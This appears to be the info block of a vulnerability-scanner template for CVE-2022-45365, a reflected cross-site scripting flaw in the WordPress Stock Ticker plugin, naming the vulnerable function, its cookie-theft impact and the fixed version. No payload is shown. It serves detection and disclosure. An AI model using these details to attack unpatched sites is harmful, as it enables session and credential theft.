Stock Ticker <= 3.23.2 - Cross-Site-Scripting

id: CVE-2022-45365

info:
  name: Stock Ticker <= 3.23.2 - Cross-Site-Scripting
  author: theamanrawat
  severity: medium
  description: |
    The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_symbol_search_test function in versions up to, and including, 3.23.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the endpoint parameter in the ajax_stockticker_symbol_search_test function to steal WordPress user session cookies and credentials.
  remediation: Fixed in version 3.23.3
